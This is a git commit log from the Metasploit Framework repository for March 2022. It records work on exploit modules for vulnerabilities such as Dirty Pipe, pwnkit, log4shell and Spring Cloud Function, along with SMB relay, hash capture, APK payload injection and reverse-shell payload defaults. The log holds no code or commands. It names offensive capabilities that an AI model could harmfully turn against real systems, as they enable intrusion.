RadioLogic c6c77b9c7e Merge branch 'enum_chocolatey_applications' of github.com:rad10/metasploit-framework into enum_chocolatey_applications 2022-03-31 11:27:06 -04:00
RadioLogic 2ed4a4a6e9 Used fail statements where exit should fail 2022-03-31 11:27:02 -04:00
RadioLogic 8177b101e5 Made chocopath correctly get choco based on where results 2022-03-31 11:26:39 -04:00
RadioLogic f9156acb49 Make chocolatey? act like correct bool function 2022-03-31 11:25:33 -04:00
RadioLogic 6c92509877 Apply suggestions from code review
Changed at symbol in author

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-03-31 11:01:00 -04:00
RadioLogic d361ce961e Update modules/post/windows/gather/enum_chocolatey_applications.rb
Added spelling corrections to descriptions

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-03-31 10:56:19 -04:00
Florian Griesser 8fd0b11a8b Requested changes pull request in documentation ipidseq.md 2022-03-31 15:58:07 +02:00
Spencer McIntyre 211626e7ce Fix the check method, add docs 2022-03-31 09:01:08 -04:00
adfoster-r7 4c1883ef07 Updated Setting Up a Metasploit Development Environment (markdown) 2022-03-31 00:09:53 +01:00
adfoster-r7 0c63ddd724 Updated Setting Up a Metasploit Development Environment (markdown) 2022-03-31 00:08:10 +01:00
Spencer McIntyre 94cf23e4cf Finish the Spring Cloud Function exploit 2022-03-30 18:38:41 -04:00
adfoster-r7 ef1e1e7faf Updated Setting Up a Metasploit Development Environment (markdown) 2022-03-30 23:20:08 +01:00
Metasploit 276d85ee77 automatic module_metadata_base.json update 2022-03-29 10:04:03 -05:00
space-r7 cc6eb75cd7 Land #16364, use dnsruby api for native_spoofer 2022-03-29 09:44:31 -05:00
RadioLogic e8d18a65dd Updated module documentation using msftidy 2022-03-29 08:36:36 -04:00
Grant Willcox 51df37de87 Add in documentation and also update the module to handle NarratorQuickstart.exe which sometimes comes up and can lead to visual indicators 2022-03-28 17:53:53 -05:00
Grant Willcox 5695863901 Add in updated source code for exploiting domain joined systems 2022-03-28 16:17:58 -05:00
Grant Willcox bd3e0c1b53 Add in support for exploiting domain joined systems 2022-03-28 16:14:19 -05:00
RadioLogic ddf96d44e7 Added unique data to notes 2022-03-28 13:45:34 -04:00
RadioLogic dcec540c5d Cleaned with rubocop 2022-03-28 13:44:45 -04:00
RadioLogic 447a3d47ea Replaced loot with notes 2022-03-28 13:39:23 -04:00
RadioLogic ec3a5b9db6 Made module not executable 2022-03-28 13:23:28 -04:00
Brendan Coles 283dda8172 Land #16386, Exploit::Remote::SocketServer: Wait if service is running 2022-03-28 03:41:06 +00:00
RadioLogic d3d9acf1e4 Added documentation for module in docs folder 2022-03-27 16:02:34 -04:00
RadioLogic 6ef3cf7ed0 Added better separation between chocolatey 1.0 and newer chocolatey versions 2022-03-27 15:04:06 -04:00
RadioLogic 8607fd766f Added side effects back in since descriptions want them 2022-03-27 15:03:37 -04:00
RadioLogic 86266ad5bd Updated info values to allow info to work 2022-03-27 14:42:44 -04:00
RadioLogic d65a2fd687 Removed use of powershell since its unnecessary 2022-03-27 14:16:04 -04:00
RadioLogic 9cc6944c18 Added option to change chocolatey path location in case its not on path 2022-03-27 14:14:02 -04:00
adfoster-r7 c4b6eb0165 Fix java rmi service undefined method wait 2022-03-27 17:01:43 +01:00
RadioLogic 0489655c72 Added notes on stability 2022-03-26 13:32:11 -04:00
RadioLogic 2ae6d1f655 Renamed havechocolatey 2022-03-26 13:31:58 -04:00
RadioLogic 8248c1d0b8 Formatted document with rubocop 2022-03-26 13:26:22 -04:00
Grant Willcox b408197cb7 Another round of RuboCop 2022-03-25 17:37:05 -05:00
Grant Willcox 393765a2f0 Add in UAC checks to ensure PromptOnSecureDesktop is set appropriately before attempting to exploit. Also clean up some of the extra code to prevent unneeded cmd level commands from running 2022-03-25 17:26:48 -05:00
Grant Willcox 56e21ae3a2 Update check code to now use cmd_exe as other call was hanging forever, and also update the check code to use Meterpreter functions if available vs always running shell commands. 2022-03-25 15:25:48 -05:00
Grant Willcox f7c271aaf4 Add in fixes from Spencer's quick initial review of module to address typos and proper check code return values 2022-03-25 14:14:56 -05:00
Grant Willcox bab215fccb Remove .vs directory and associated files as there is no need for us to ship those files 2022-03-25 14:11:17 -05:00
Grant Willcox 5ad16a1864 Undo changes to changing process in prepend_migrate, my idea was only to add in CREATE_BREAKAWAY_FROM_JOB flags 2022-03-25 12:48:23 -05:00
Grant Willcox e82c25841c RuboCop module to pass tests 2022-03-25 12:45:00 -05:00
Grant Willcox 561c5d513e Update module's on_new_session code 2022-03-25 12:16:44 -05:00
RadioLogic 840d26aa2d Added module to enumerate through chocolatey applications 2022-03-25 13:13:15 -04:00
Heyder Andrade 79783bbe9b Checking if datastore is defined 2022-03-25 16:32:58 +01:00
Metasploit a59aa864c3 Bump version of framework to 6.1.36 2022-03-24 18:44:06 -05:00
adfoster-r7 76ede9ef8f Add ruby 3.1 support 2022-03-24 21:59:02 +00:00
Heyder Andrade ee8618e68a Handling undefined local variable
Auxiliary failed: NameError undefined local variable or method `datastore'
for #<Metasploit::Framework::LoginScanner::SSH
2022-03-24 22:57:27 +01:00
Heyder Andrade 6bc0032c8d Use SSH defaults
- Merge ssh defaults
- Remove options equals to default
2022-03-24 22:52:15 +01:00
Grant Willcox 8e73710843 Add in on_new_session method to do automatic cleanup with supported session types. Think this is only Meterpreter at the moment 2022-03-24 14:36:29 -05:00
Spencer McIntyre cec44f0cab Land #16371, Fix websocket crash 2022-03-24 13:07:34 -04:00
Grant Willcox 3d871e0ea9 Remove unneeded DLL from source code 2022-03-24 11:59:20 -05:00
Grant Willcox b504585979 Add in source code 2022-03-24 11:56:18 -05:00
Metasploit f4dd3297b0 automatic module_metadata_base.json update 2022-03-24 10:27:52 -05:00
Grant Willcox bf88b7f618 Land #16325 - Replace IO read on binary files with File binread 2022-03-24 10:08:40 -05:00
Grant Willcox e5c0259723 Add CREATE_BREAKAWAY_FROM_JOB flag to source files related to DLL generation, update the exploit source to denote how to clean up in case the payload can't clean up 2022-03-23 19:38:32 -05:00
Grant Willcox a25b3a70ad Update permissions on template DLLs 2022-03-23 17:49:03 -05:00
Grant Willcox b1ce05f97c Add in updated Ruby code and also update the DLLs and prepend_migrate.rb to use the CREATE_BREAKAWAY_FROM_JOB flag with CreateProcess to break away from the job if the job has the JOB_OBJECT_LIMIT_BREAKAWAY_OK limit set to allow breakaway jobs 2022-03-23 17:47:25 -05:00
Grant Willcox ff77ff0d11 Fix RuboCop issues with ubiquiti_config.rb 2022-03-23 11:32:45 -05:00
sjanusz 558d8bb727 Make TLV Logging cache threadsafe 2022-03-23 10:35:39 +00:00
Metasploit 030c040372 automatic module_metadata_base.json update 2022-03-23 02:40:13 -05:00
Tim W 014c98acd8 Land #16369, fix upgrading meterpreter sessions with shell_to_meterpreter 2022-03-23 07:15:55 +00:00
alanfoster cebdebb188 Fix kubernetes websocket crash when identifying peer host 2022-03-23 02:28:47 +00:00
Metasploit 53e470b1b9 automatic module_metadata_base.json update 2022-03-22 19:31:49 -05:00
adfoster-r7 03d645016c Land #16250, Update service mixins for NAT options 2022-03-23 00:13:20 +00:00
Metasploit 1c4dc9a218 automatic module_metadata_base.json update 2022-03-22 17:18:25 -05:00
Grant Willcox 964f78fc69 Land #16341, Implement VNC hash types 2022-03-22 17:00:02 -05:00
Grant Willcox 1408ffbab7 Fix up typo and wording on some comments 2022-03-22 16:29:08 -05:00
Metasploit 81e4abcd8d automatic module_metadata_base.json update 2022-03-22 14:22:54 -05:00
Grant Willcox 5bbde5bb81 Land #16367, Fix character escaping in the apisix exploit 2022-03-22 14:04:07 -05:00
Metasploit f6c24a0265 automatic module_metadata_base.json update 2022-03-22 14:00:25 -05:00
Grant Willcox 02c616a29e Land #16207, Fix VNC scanner modules and libraries to make them work in 2022 2022-03-22 13:40:29 -05:00
Grant Willcox c0b0c418d2 Update constants explanation to explain VeNCrypt 19 option a little clearer 2022-03-22 13:06:45 -05:00
sjanusz b54cfee665 Open a new Meterpreter session when trying to upgrade Meterpreter 2022-03-22 14:08:25 +00:00
Spencer McIntyre 9cebba12d2 Add documentation for the native_spoofer module 2022-03-22 09:38:06 -04:00
Spencer McIntyre fd2d1c0784 Add and use the ListenerComm option for SOCKS 2022-03-22 09:23:09 -04:00
Spencer McIntyre 86aed4928e Add the HttpListenerBindPort to the log4shell exploit 2022-03-22 09:06:22 -04:00
Spencer McIntyre ff0ecfa49e Display the HTTP port when necessary 2022-03-21 20:11:31 -04:00
Spencer McIntyre da16aad96a Land #16298, Add the capture plugin 2022-03-21 20:03:16 -04:00
Grant Willcox 4e8613904a Address comments from review and make explanations tidier 2022-03-21 17:54:41 -05:00
Jeffrey Martin 122d380f85 Land #16368, Conditionally recalculate in ModuleSet 2022-03-21 17:50:03 -05:00
Grant Willcox d6d8bd57cb Land #16352, Add stale bot exemption for discussion label 2022-03-21 17:04:15 -05:00
Spencer McIntyre b41389c1dd Recalculate for tests 2022-03-21 17:44:10 -04:00
Spencer McIntyre e96abb1254 Rename the capture command
Multiple modules provide a "Capture" action that would collide with this
name. Rename it to `captureg` for Capture-Global.
2022-03-21 17:43:11 -04:00
Spencer McIntyre df04435d49 Only recalculate sometimes
Recalculations are time consuming, so only do it if necessary.
2022-03-21 17:00:31 -04:00
Spencer McIntyre 6ec530a5ee Improve some error handling 2022-03-21 15:22:00 -04:00
Spencer McIntyre 49aff227c5 Fix character escaping in the apisix exploit 2022-03-21 15:06:03 -04:00
Spencer McIntyre 12c2d6ff7b Apply rubocop updates to dns/native_spoofer 2022-03-21 14:02:43 -04:00
Spencer McIntyre 6abe2516d6 Update the module to use the Dnsruby API 2022-03-21 13:59:27 -04:00
Metasploit 6ef736ca46 automatic module_metadata_base.json update 2022-03-21 12:43:27 -05:00
Grant Willcox 024da204d1 Land #16353, respect ssl_version in crawler 2022-03-21 12:24:38 -05:00
Heyder Andrade 25c4869d8a Make module to ssh_defaults
Factory is provided by mixin;
Removed the options that were the same as the defaults;
Adjusted the exception to proper feedback the user. There was a return
as incorrect when it was indeed unable to negotiate the key exchange.
2022-03-21 18:06:32 +01:00
Grant Willcox 715082a960 Update exploit and module with new delay timing and latest copy of DLL 2022-03-21 12:05:48 -05:00
Spencer McIntyre a739083db9 Readd the missing SocketServer mixin for SMB 2022-03-21 11:51:10 -04:00
Spencer McIntyre 929e5d5e76 Update the SMB capture module with new options 2022-03-21 11:47:56 -04:00
Spencer McIntyre aca272dd76 Always return a comm from #_determine_server_comm
Instead of returning nil from Rex::Socket::SwitchBoard.best_comm, return
the local comm which Rex::Socket will defer to anyways.
2022-03-21 11:47:56 -04:00
Spencer McIntyre 551f159993 Don't pass nill to #best_comm
It'll crash if you do
2022-03-21 11:47:56 -04:00
Spencer McIntyre 0ab97b858f Update the TCP server and HTTP server mixins 2022-03-21 11:47:56 -04:00
Spencer McIntyre 2e4f04a804 Add and use the new bindhost/bindport options 2022-03-21 11:47:55 -04:00
h00die ff7b017e14 Land #16361, docs for adb_server_exec 2022-03-21 09:24:04 -04:00
sjanusz bbf9e3163a Fix file reads on Windows for binary files 2022-03-21 12:47:39 +00:00
Tim W a4956bfe7c Land #16358, fix apk injection on some apks by finding the correct hook point 2022-03-21 07:36:00 +00:00
Brendan Coles 4cd021ce4b Add exploit/android/adb/adb_server_exec documentation 2022-03-21 00:37:15 +00:00
Brendan Coles d9bd985cef Msf::Payload::Apk: find_hook_point: Return full packagename.classname 2022-03-19 21:08:02 +00:00
Florian Griesser e5e2d5d8b5 Added Documentation for auxiliary/scanner/ip/ipidseq 2022-03-19 16:34:41 +01:00
Tim W bdb729a43b Land #16340, fall back to running apktool with --use-aapt2 if apktool fails 2022-03-19 11:47:56 +00:00
Jeffrey Martin ebaf584a00 use 'Auto' for ssl_version 2022-03-18 17:06:02 -05:00
Metasploit 5faf25dbe3 automatic module_metadata_base.json update 2022-03-17 16:16:27 -05:00
Spencer McIntyre ccdc2db9e7 Land #16309, Catch an exception in ssh_login
The ssh_login module would crash when the channel used to execute the
commands to gather the platform information reported that they failed.
2022-03-17 16:41:47 -04:00
Spencer McIntyre da1e4853b8 Land #16317, Free UDP ports after use 2022-03-17 16:39:09 -04:00
Metasploit 1b31cc9a7c automatic module_metadata_base.json update 2022-03-17 15:23:17 -05:00
Spencer McIntyre acf3906953 Add another instance of missing error handling 2022-03-17 16:07:31 -04:00
bwatters 54ad2b82c3 Land #16249, Add in Exchange Mixin - Initial Version with Version Detection
Merge branch 'land-16249' into upstream-master
2022-03-17 15:04:17 -05:00
Metasploit 374220f72f Bump version of framework to 6.1.35 2022-03-17 12:05:14 -05:00
Grant Willcox 1bfc0feedb Remove default options from HttpUsername and HttpPassword as blank strings are still considered setting the option when it comes to OptString, and this leads to falsely assuming the strings are set by the user when they are not 2022-03-17 11:29:06 -05:00
Grant Willcox 6ee0ef0c8a Add in appropriate warning message in case we hit a snag, might help people out who hit a similar issue. Issue is highly tempermental and sometimes goes away for no reason so its hard to pin down but logging in this way should help. I tried doing things manually in code but it didn't seem to help and I don't want to block the code from working on something like this. 2022-03-17 11:29:05 -05:00
Grant Willcox ce062973cb Make changes from review process, redo code for module to make it make less requests, and generally improve overal operations. 2022-03-17 11:29:05 -05:00
Grant Willcox c1d6dced8d Update library code to read exchange versions from exchange_versions.json and populate exchange_versions.json with initial info 2022-03-17 11:29:01 -05:00
Grant Willcox 419c9ea554 Fix review comments to simplify regex, and also add in new is_exchange? function to check if a target is running Exchange Server or not. 2022-03-17 11:29:00 -05:00
Grant Willcox 1f53e9d1c4 Rubocop and fix a mistake on commenting too much of the code out from testing 2022-03-17 11:29:00 -05:00
Grant Willcox 269cd5cfed Add in Exchange Version mixin and module example 2022-03-17 11:28:53 -05:00
Hynek Petrak 43cec440ac Treat failed proof as successful connection with nil proof.
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-03-17 14:05:17 +01:00
Metasploit f9a74d4203 automatic module_metadata_base.json update 2022-03-16 17:48:55 -05:00
Grant Willcox e197669274 Land #16284, Add CVE-2021-31126 DoS Module 2022-03-16 17:29:47 -05:00
Ashley Donaldson 0abdd55234 Use a file in .msf4, copying it from the data directory if it doesn't exist.
Fixes some bugs relating to pivoting through a session
2022-03-17 09:18:43 +11:00
Hynek Petrak 2841f70048 Catch exception from net/ssh/connection/session.rb:381 2022-03-16 23:11:21 +01:00
Grant Willcox 0f2813f70c Update module and documentation for edits found whilst doing final pass of code 2022-03-16 16:55:03 -05:00
mauricelambert e678615f27 Fix items from code review 2022-03-16 16:54:38 -05:00
mauricelambert 33e12bf06f Correct CVE number, comments and documentation 2022-03-16 16:54:24 -05:00
mauricelambert b745a24a9d Random payload && TARGETURI option 2022-03-16 16:54:15 -05:00
mauricelambert d35b2528df Add markdown documentation for rb_dos_iis_2022_21907 2022-03-16 16:54:14 -05:00
mauricelambert 7c806a8723 Add auxiliary module for DOS IIS Server 2022-03-16 16:53:59 -05:00
Ashley Donaldson 9074d7b2bd Reformatted yaml file to be more flexible in future 2022-03-17 08:47:10 +11:00
Ashley Donaldson 40c422cdf7 Close NBNS, mDNS and LLMNR sockets when their modules are complete 2022-03-17 08:12:26 +11:00
Ashley Donaldson 972c260969 Fix double dereference by moving DNS cleanup into separate function, and force to run as job. 2022-03-17 08:12:25 +11:00
Ashley Donaldson 7fe9d0b2b6 Don't start the DNS server twice 2022-03-17 08:02:31 +11:00
Jeffrey Martin c3445ccb6f respect ssl_version in crawler
When utilizing `Anemone` to crawl pages using `Rex` sockets
Framework common `SSL` settings can pull from standardized options.
This change enables more fine grained user control and avoids issues
with missing or deprecated SSL versions in newer Ruby versions.
2022-03-16 14:24:45 -05:00
adfoster-r7 078f165ff4 Add stale bot exemption for discussion label 2022-03-16 14:50:19 +00:00
Metasploit c63490c050 automatic module_metadata_base.json update 2022-03-16 08:56:13 -05:00
bwatters b4de9fa92a Land #16344, Add module for CVE-2022-21999 and More Railgun Definitions
Merge branch 'land-16344' into upstream-master
2022-03-16 08:37:05 -05:00
Shelby Pace 381b91de45 change wording in arch check
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-03-15 16:45:36 -05:00
Grant Willcox 008071888c Land #16347, Catch SocketError when normalizing the hostname 2022-03-15 16:45:29 -05:00
adfoster-r7 c9497ed94e Add additional new lines 2022-03-15 20:01:31 +00:00
Grant Willcox 3dfa082465 Land #16342, Update documentation/modules/payload/android/meterpreter/reverse_tcp.md to add in BlueStack reference and fix msftidy errors 2022-03-15 14:16:48 -05:00
Grant Willcox 24f8ffb273 Land #16350, Fix encrypted shells crashing with no DB connection 2022-03-15 13:56:03 -05:00
Spencer McIntyre e28ee9ca53 Improve an error message when addr is nil
The normalized value can be nil when the hostname failed to resolve.
That is not helpful in the exception information, so use the original
value.
2022-03-15 14:01:26 -04:00
space-r7 e96ec401bf add arch check, fix logic error, add aka note 2022-03-15 12:58:39 -05:00
Anshik Singh 9fbd547fcb Add in Bluestacks reference and then polish up documentation to fix msftidy errors and typos. 2022-03-15 11:01:30 -05:00
sjanusz a3f4af1775 Fix encrypted shells crashing with no DB connection 2022-03-15 16:00:30 +00:00
Spencer McIntyre a6a63d0895 Rename scope to zone_id 2022-03-15 11:14:41 -04:00
Metasploit c0185f65bf automatic module_metadata_base.json update 2022-03-15 08:24:21 -05:00
Spencer McIntyre 4dd7fc60e6 Land #16324, Fix broken DNS native_server 2022-03-15 09:06:03 -04:00
Ashley Donaldson 8cc2b87f59 Use Dnsruby::Message for all inputs 2022-03-15 16:41:05 +11:00
Ashley Donaldson efaf21cbed Show specific error message if module fails to load 2022-03-15 09:58:45 +11:00
Metasploit f524588355 automatic module_metadata_base.json update 2022-03-14 17:48:07 -05:00
bwatters c936c45167 Land #16186, Add Python Meterpreter Command Payloads
Merge branch 'land-16186' into upstream-master
2022-03-14 17:29:03 -05:00
Grant Willcox 2142c877ad Land #16262, Use bash instead of netcat as a default payload 2022-03-14 17:18:37 -05:00
Spencer McIntyre 71cacc4cc2 Catch SocketError when normalizing the hostname 2022-03-14 17:09:37 -04:00
Spencer McIntyre 28b7ebf9b2 Mention the ClaimsPrincipal gadget chain 2022-03-14 16:21:07 -04:00
space-r7 4a8707982a fix module name in output 2022-03-14 09:35:56 -05:00
space-r7 c646d01671 add systems tested 2022-03-14 09:17:43 -05:00
space-r7 99664efed7 use full user name, add test output to docs 2022-03-14 09:15:36 -05:00
adfoster-r7 bb351021d7 Update links 2022-03-14 13:40:44 +00:00
Spencer McIntyre 735c1256a3 Put reverse_netcat back in the default list
See #16262 for context. This will select reverse_bash if no required
commands are specified, which should be suitable for most environments.
The RequiredCmd payload compatibility key can be specified to override
this behavior by marking the commands that are available.
2022-03-14 09:16:39 -04:00
Grant Willcox 08ee09a447 Updated How to Apply to GSoC (markdown) 2022-03-13 18:26:44 -05:00
Grant Willcox 58e8807e7b Update date format so its cleaner and more less fluff. 2022-03-13 18:24:19 -05:00
Grant Willcox 0bac866443 Update contact methods to make it more explicit on preferred methods of contact. 2022-03-13 18:21:01 -05:00
Grant Willcox c758202a1d Updated GSoC 2022 Project Ideas (markdown) 2022-03-13 18:18:34 -05:00
Grant Willcox 6158c712aa Updated GSoC 2022 Project Ideas (markdown) 2022-03-13 18:16:34 -05:00
Grant Willcox c16234521f Add more clarity r.e contact methods for questions on ideas. 2022-03-13 18:16:08 -05:00
Grant Willcox b49a3fe38f Add in information about viewing past successful submissions, and link to the 2022 GSoC timeline page, as well as include some basic information about the timeline. 2022-03-13 18:09:16 -05:00
Grant Willcox 9d193bc03e Add in Slack point of contact details and Slack link to make it easier for people to find out where to contact mentors. 2022-03-13 17:46:02 -05:00
Grant Willcox 71423a0b76 Updated How to Apply to GSoC (markdown) 2022-03-13 17:40:54 -05:00
Grant Willcox 9496a655c0 Fix typos from last edit. 2022-03-13 17:39:44 -05:00
Grant Willcox 122de8da7b Mention the dedicated #gsoc channel in Slack to fall in line with Google's recent guidance on providing more explicit first point of contacts. 2022-03-13 17:38:55 -05:00
h00die a959725f7c implement vnc hash types 2022-03-13 13:27:38 -04:00
h00die cbd38a104e Updated How to Send an HTTP Request Using HttpClient (markdown) 2022-03-13 12:48:46 -04:00
h00die 397c7ee6d5 add mime link 2022-03-13 12:47:59 -04:00
Brendan Coles fe70296f1e Msf::Payload::Apk: Try rebuilding APK with AAPT2 if rebuilding APK fails 2022-03-13 14:35:15 +00:00
Tim W df81a48e4a Land #16332, fix zipalign to align shared object files 2022-03-13 12:48:22 +00:00
Tim W db19f88fdc Land #16334, fix signing apk files that are not signed with the v1 signing scheme 2022-03-13 12:41:10 +00:00
Brendan Coles d28a172ab4 Msf::Payload::Apk: Extract cert details from APK files not JAR signed
Since Android 11, APK contents must be signed with signature scheme
v2 or higher (v2/v3/v4). In order to maintain compatibility with
older versions of Android, APKs can also be signed with v1 (after
first signing with v2/v3/v4), but this is not mandatory.

When using a template apk file, the APK library now attempts to
extract signing scheme v1 certificate details (using keytool)
and falls back to extracting v2/v3/v4 certificate details (using
apksigner) if the APK is not signed with signing scheme v1.

Fixes #16295.
2022-03-12 18:40:37 +00:00
Brendan Coles 6ae54566b6 Msf::Payload::Apk: zipalign: align APK stored shared object files 2022-03-12 18:22:34 +00:00
Metasploit e29711661b automatic module_metadata_base.json update 2022-03-11 15:12:45 -06:00
space-r7 96e7e55496 Land #16252, add GitLab GraphQL user enum module 2022-03-11 14:53:13 -06:00
Metasploit 9d6d9df246 automatic module_metadata_base.json update 2022-03-11 12:32:38 -06:00
adfoster-r7 d9285044ec Land #16326, Fix SMB signing detection when SMB1 is disabled 2022-03-11 18:13:18 +00:00
Jake Baines a602c10241 Add a print statement indicating requests are ongoing 2022-03-11 07:19:09 -08:00
Jake Baines d7213ed895 Merge date changes 2022-03-11 07:02:44 -08:00
Jake Baines e3061d1ddd Added blog link. Switched to service_details and create_credential_and_login. Added some exit print info and updated docs 2022-03-11 07:00:21 -08:00
Metasploit 60a9c8db96 automatic module_metadata_base.json update 2022-03-11 06:26:20 -06:00
adfoster-r7 a62ca2259e Land #16316, deref services correctly 2022-03-11 12:08:42 +00:00
Ashley Donaldson 8c35870a63 Make parsers instance variables to make rubocop happy 2022-03-11 16:56:10 +11:00
Ashley Donaldson 06cc16c4cb Rubocop changes 2022-03-11 16:16:04 +11:00
Ashley Donaldson 538b680e79 Split tab completion into separate methods for each sub-command 2022-03-11 15:18:58 +11:00
Ashley Donaldson b34189e24c Take more parameters from a config file 2022-03-11 15:10:08 +11:00
Ashley Donaldson 1349a7c486 More redundant cleanup calls 2022-03-11 12:22:27 +11:00
Ashley Donaldson 1576fd720e Remove another redundant cleanup 2022-03-11 12:17:30 +11:00
Ashley Donaldson d5373a7278 Removed redundant cleanup calls which exploit_driver will call anyway 2022-03-11 12:08:51 +11:00
space-r7 07e6eef201 rename module, modify check 2022-03-10 17:02:58 -06:00
space-r7 bc9f64f043 use default printer in case target is server
clean up code, add EnumPrinters definitions
2022-03-10 16:45:20 -06:00
Jeffrey Martin ee5a2a30fe slack link 2022-03-10 14:51:28 -06:00
Spencer McIntyre b5c481fd4c Fix SMB signing detection when SMB1 is disabled 2022-03-10 13:09:18 -05:00
Metasploit 8ec9c89a1d Bump version of framework to 6.1.34 2022-03-10 12:05:16 -06:00
Metasploit 37b1d78e1c automatic module_metadata_base.json update 2022-03-10 11:35:16 -06:00
space-r7 b747e55dda Land #16303, add Dirty Pipe exploit 2022-03-10 11:16:28 -06:00
space-r7 872b9c9a7c modify docs to reflect changes, remove 'return' 2022-03-10 10:39:32 -06:00
space-r7 2f86c78c91 remove check mode, check by kernel version only 2022-03-10 10:02:05 -06:00
space-r7 2102c7daca add binaries for pre-compiled option 2022-03-10 08:50:48 -06:00
Grant Willcox dceedb14bd Fix up some typos 2022-03-10 08:15:04 -06:00
Simon Janusz d6ff12f23b Land #16322, Fix hosts command bugs
Fix hosts command bugs
2022-03-10 13:45:50 +00:00
Tim W 472c26924a fix kernel version check 2022-03-10 07:47:58 +00:00
Ashley Donaldson 1c84c1a314 More suggestions from code review 2022-03-10 17:29:17 +11:00
Ashley Donaldson 0c968cd38b Apply suggestions from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-03-10 17:17:45 +11:00
Ashley Donaldson 09b094cd64 DNS server: When there are multiple answers, set the answer, not the question, in the returned packet 2022-03-10 15:05:52 +11:00
Ashley Donaldson 9b651eef32 Use encode (from Dnsruby), not data (from Net::DNS) 2022-03-10 13:31:58 +11:00
Ashley Donaldson c3465a8ad8 Fix whitespace EOL for msftidy 2022-03-10 11:16:01 +11:00
Ashley Donaldson 6f159fa54e Consistent handling of DNS and LDAP servers wrt ServiceManager 2022-03-10 11:01:37 +11:00
Ashley Donaldson 9761d68c19 Rename stop_service to cleanup_service for services that use reference counting 2022-03-10 10:28:25 +11:00
Spencer McIntyre c2e0a61a74 Fix the hosts command's tab completion 2022-03-09 18:17:14 -05:00
Spencer McIntyre 5c5340b6fd Fix the hosts command's --search flag 2022-03-09 18:17:09 -05:00
Ashley Donaldson 1494f804e7 Fix bug in java_rmi_server which would unilaterally close the HTTP server 2022-03-10 09:29:45 +11:00
Ashley Donaldson 9445c7824d Fix bug in safari file policy module: don't stop the service; just dereference it, and trust the service manager 2022-03-10 09:07:11 +11:00
Ashley Donaldson c9d43aafe6 Use dereferencing directly, and rename 'stop' to 'cleanup' for clarity 2022-03-10 09:06:25 +11:00
Metasploit 0296e59a5c automatic module_metadata_base.json update 2022-03-09 13:07:02 -06:00
Spencer McIntyre 5cc892edad Land #16312, Fix arch check and cd in pwnkit 2022-03-09 13:48:35 -05:00
adfoster-r7 49bea72ba8 Land #16311, install mingw in Docker 2022-03-09 17:10:08 +00:00
bwatters 5505d05d04 Maybe actually fix arch check this time... 2022-03-09 11:06:26 -06:00
Metasploit d88c5752d2 automatic module_metadata_base.json update 2022-03-09 10:04:04 -06:00
Spencer McIntyre 93d9dbe7f3 Land #16098, Update smb_relay for smb 2 & smb3 2022-03-09 10:44:52 -05:00
Heyder Andrade e67c70e422 Ensure default options gets override 2022-03-09 13:24:06 +01:00
Heyder Andrade 77dc0722b4 Update modules/exploits/unix/ssh/tectia_passwd_changereq.rb
Ensure we're overriding the defaults

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-03-09 13:02:15 +01:00
Heyder Andrade dd47017b5c Added support to old key exchange algorithms
This commit fix the issue #16138 by adding support to old key
exchange algorithms in the net/ssh lib by defining the
`append_all_supported_algorithms` to `true`.
2022-03-09 10:25:50 +01:00
Tim W bcc9d01958 add documentation 2022-03-09 08:34:20 +00:00
Tim W 955cc9c986 fix cross compiling 2022-03-09 06:59:25 +00:00
Tim W b5e88f24df feedback from space 2022-03-09 06:06:53 +00:00
adfoster-r7 3b524360ed Explicitly specify server/client versions, fix logger crash, and specify jtr format 2022-03-09 01:37:22 +00:00
bwatters ae0f1729c1 Update arch check 2022-03-08 18:21:34 -06:00
Ashley Donaldson 837cf199a0 Use reference counting consistently for HTTP handlers (Fixes #16315) 2022-03-09 10:56:38 +11:00
adfoster-r7 22f88f9ab7 Add docs 2022-03-08 23:52:24 +00:00
adfoster-r7 6f2a7d6167 Add note that SMB v1 is not supported 2022-03-08 23:52:24 +00:00
adfoster-r7 53772fa366 Gracefully handle relay host timeout, fix typos, and move SMBHashCapture location 2022-03-08 23:52:24 +00:00
adfoster-r7 a0e1306251 Use latest ruby_smb release 2022-03-08 23:52:24 +00:00
adfoster-r7 bcb0850e07 Rename SMBHOST 2022-03-08 23:52:23 +00:00
adfoster-r7 144fc5eddf Add smarter targetlist support 2022-03-08 23:52:23 +00:00
adfoster-r7 25265c7a7b Linting 2022-03-08 23:52:23 +00:00
adfoster-r7 3e68e298a1 Add targets 2022-03-08 23:52:23 +00:00
adfoster-r7 e02021ee91 Fix database cred reporting and error handling 2022-03-08 23:52:23 +00:00
adfoster-r7 507b1dab2b Apply PR feedback 2022-03-08 23:52:22 +00:00
adfoster-r7 b4fe2502aa Update smb_relay to support smb 2 and smb3 2022-03-08 23:52:22 +00:00
Ashley Donaldson 4652605458 Respect communication channel when selecting existing service within ServiceManager (resolves #16314) 2022-03-09 10:22:11 +11:00
Jeffrey Martin 349ee4d237 add LDAP query idea 2022-03-08 14:05:13 -06:00
Spencer McIntyre fe57bebc58 Land #16310, only iterate if RHOSTS is registered 2022-03-08 14:31:59 -05:00
bwatters fb7f2ba326 Fix arch check and on_session cd 2022-03-08 13:16:32 -06:00
adfoster-r7 79761c942c Ignore iterating multiple rhosts if option not registered 2022-03-08 17:52:42 +00:00
sjanusz 41d52f9f3e Install mingw in Docker 2022-03-08 17:43:51 +00:00
Tim W a195c65121 change default suid binary from /usr/bin/sudo to /bin/passwd 2022-03-08 16:37:07 +00:00
Tim W 300ab51079 feedback from jvoisin 2022-03-08 16:22:31 +00:00
Grant Willcox f5162eecea Adding self to mentor list 2022-03-08 10:20:30 -06:00
Tim W 0c7806222f msftidy 2022-03-08 10:28:04 +00:00
Tim W 676c4a6f4f improve fork behaviour 2022-03-08 10:24:25 +00:00
Tim W a614f9c2aa add a description and PrependFork 2022-03-08 10:17:06 +00:00
adfoster-r7 db9c544e6f Land #16302, Defer TLV logging until session is bootstrapped 2022-03-08 09:58:49 +00:00
Tim W 7ca6a28c05 embed payload inside exploit and add check method 2022-03-08 09:51:49 +00:00
Ashley Donaldson 0733f1e00e Force capture defaults to come from the data file 2022-03-08 11:30:59 +11:00
Ashley Donaldson e4f5d5a539 Merge branch 'master' into hash_capture 2022-03-08 07:57:42 +11:00
Metasploit f86753ccb9 automatic module_metadata_base.json update 2022-03-07 14:20:49 -06:00
